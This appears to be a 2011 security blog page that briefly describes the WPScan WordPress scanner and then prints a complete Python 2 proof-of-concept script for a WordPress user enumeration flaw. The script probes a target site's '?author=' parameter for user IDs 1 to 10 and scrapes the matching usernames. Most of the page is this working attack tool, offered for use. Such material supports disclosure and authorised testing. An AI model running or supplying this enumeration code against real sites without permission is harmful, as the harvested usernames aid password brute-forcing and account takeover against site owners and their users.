26Jul/110
WPScan – WordPress security scanner
WPScan is a security scanner which checks WordPress weaknesses using a black box method. The main features are, username enumeration, multithreaded password bruteforcing, WordPress Version enumeration and Plugin vulnerability enumeration.
26May/115
WordPress 2.6, 3.1, 3.1.1, 3.1.3 User Enumeration
WordPress versions 2.6, 3.1, 3.1.1, 3.1.3, and 3.2-beta2 suffers from a remote user enumeration vulnerability. PoC:
#! /usr/bin/env python
# Copyright (C) 2009 Veronica Valeros, TALSOFT S.R.L.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
#
# Author:
# Veronica Valeros vero.valeros@gmail.com
#
# Collaborators:
# Gabriel Casullo info@casu-net.com.ar
#
"""
This scripts exploits a vulnerability in wordpress based websites that allows to list user ids and user names by changing
the value of the parameter 'author' in the website.
See the security advisory of this vulnerability at: http://www.talsoft.com.ar/index.php/research/security-advisories
"""
# standar imports
import sys
import re
import getopt
import urllib2
import urlparse
####################
# Global Variables
debug=False
vernum='0.1'
verbose=False
# This is for identify links in a HTTP answer
usernamelinks = re.compile('/author/[^/]*',re.IGNORECASE)
usernamelinks_content = re.compile('(?:Author\'s Spotlight:|a> por )[^<]*',re.IGNORECASE)
# End of global variables
###########################
# Print version information and exit
def version():
"""
This function prints the version of this program. It doesn't allow any argument.
"""
print "+----------------------------------------------------------------------+"
print "| "+ sys.argv[0] + " Version "+ vernum +" |"
print "| This program is free software; you can redistribute it and/or modify |"
print "| it under the terms of the GNU General Public License as published by |"
print "| the Free Software Foundation; either version 2 of the License, or |"
print "| (at your option) any later version. |"
print "| |"
print "| Author: Veronica Valeros, vero.valeros@gmail.com |"
print "| Collaborator: Gabriel Casullo, info@casu-net.com.ar |"
print "| TALSOFT S.R.L. - www.talsoft.com.ar - Mar del Plata, Argentina |"
print "+----------------------------------------------------------------------+"
print
# Print help information and exit:
def usage():
"""
This function prints the posible options of this program.
"""
print "+----------------------------------------------------------------------+"
print "| "+ sys.argv[0] + " Version "+ vernum +" |"
print "| This program is free software; you can redistribute it and/or modify |"
print "| it under the terms of the GNU General Public License as published by |"
print "| the Free Software Foundation; either version 2 of the License, or |"
print "| (at your option) any later version. |"
print "| |"
print "| Author: Veronica Valeros, vero.valeros@gmail.com |"
print "| Collaborator: Gabriel Casullo, info@casu-net.com.ar |"
print "| TALSOFT S.R.L. - www.talsoft.com.ar - Mar del Plata, Argentina |"
print "+----------------------------------------------------------------------+"
print
print "\nUsage: %s " % sys.argv[0]
print "Options:"
print " -h, --help Show this help message and exit."
print " -u, --url URL to start crawling.(Ex.: http://www.wikipedia.org/"
print " -V, --version Output version information and exit."
print " -D, --debug Debug."
print " "
print "Example: "+sys.argv[0] +" -u http://www.xxxx.com "
print
sys.exit(1)
###############
# EXTRACT USERS
###############
def extract_users(url_to_exploit):
"""
"""
global debug
global usernamelinks
author_username=""
error_code=""
output_data=[]
######
#Program
######
try:
output_data.append("")
print '+ Checking if website <{0}> is vulnerable...'.format(url_to_exploit)
# Here we complete the given path to check for the vilnearbility.
if url_to_exploit.endswith('/'):
url=url_to_exploit+'?author='
else:
url=url_to_exploit+'/?author='
try:
response = urllib2.urlopen(url+'1')
try:
response = urllib2.urlopen(url_to_exploit+'/wp-admin')
print '\t> Probably exploitable.'
except urllib2.HTTPError,error_code:
print '\t> Probably it is not exploitable or it is not based on WordPress. Trying to exploit it anyway...'
except:
print '\t> Not exploitable.'
return -4
except urllib2.HTTPError,error_code:
return -4
except:
print '\t> Probably exploitable.... Check it manually.'
pass
# Here we get the data of the URL
print '+ Trying to extract users:'
print '\t USER ID USERNAME OBSERVATION'
for i in range(1,11):
author_username = ""
error_code=""
try:
request = url+str(i)
if debug:
print 'Request: {0}'.format(request)
# Here we ask for the specific userid
response = urllib2.urlopen(request)
if debug:
print 'Response Ok.'
content = response.read()
if debug:
print 'Response readed Ok.'
author_username = usernamelinks.findall(response.url)
try:
author_username= author_username[0]
except:
author_username = usernamelinks.findall(content)
try:
author_username= author_username[0]
except:
pass
if author_username:
try:
author_username = author_username.split('/')[2]
except:
pass
else:
author_username = usernamelinks_content.findall(content)
try:
author_username= author_username[0].split(' ')[2]
except:
pass
if not author_username:
error_code = 'It was imposible to find the Username of this User ID. Check the source code.'
author_username=""
else:
output_data.append(author_username)
print '\t\t{0} {1}\t {2}'.format(i,author_username,error_code)
except urllib2.HTTPError,error_code:
print '\t\t{0} \t\t No user exists with this ID'.format(i)
pass
except KeyboardInterrupt:
return -2
except:
print 'Bug in urllib open url!. Perhaps the website does not exist?'
if len(output_data)>1:
return 1
else:
return -3
except KeyboardInterrupt:
return -2
except:
print 'Error in loop!'
return -1
##########
# MAIN
##########
def main():
try:
global debug
base_url=""
opts, args = getopt.getopt(sys.argv[1:], "hu:VD", ["help","url=","version","debug"])
except getopt.GetoptError: usage()
for opt, arg in opts:
if opt in ("-h", "--help"): usage()
if opt in ("-u", "--url"): base_url=arg
if opt in ("-V", "--version"): version(); exit(1)
if opt in ("-D", "--debug"): debug=True
try:
if base_url != "":
version()
print 'This exploit cannot verify whether a website is using WordPress. You should check it yourself.\n'
base_url_parsed = urlparse.urlparse(base_url)
if base_url_parsed.scheme == "":
base_url='http://'+base_url
result = extract_users(base_url)
if result == 1:
print '-----------------------------------------------------------------------------'
print 'This version of WordPress is vulnerable to User ID and Username enumeration.'
print 'This vulnerability is fixed since wordpress 3.1.3 release.'
print '-----------------------------------------------------------------------------'
elif result == -1:
print '-----------------------------------------------------------------------------'
print 'Error in exploiting wordpress user names and ids vulnerability! Exiting!'
print '-----------------------------------------------------------------------------'
elif result == -2:
print ' Keyboard interruption! Exiting!'
elif result == -3:
print '-------------------------------------------------------------------------------------------'
print 'This version of WordPress seems to be vulnerable to User ID and Username enumeration.'
print 'No username could be extracted. Check the source page of the website to look for usernames.'
print '-------------------------------------------------------------------------------------------'
elif result == -4:
print '------------------------------------------------------------------------------------------'
print 'This version of WordPress seems not to be vulnerable to User ID and Username enumeration.'
print '------------------------------------------------------------------------------------------'
else:
usage()
except KeyboardInterrupt:
# CTRL-C pretty handling
print 'Keyboard Interruption!. Exiting.'
sys.exit(1)
if __name__ == '__main__':
main()

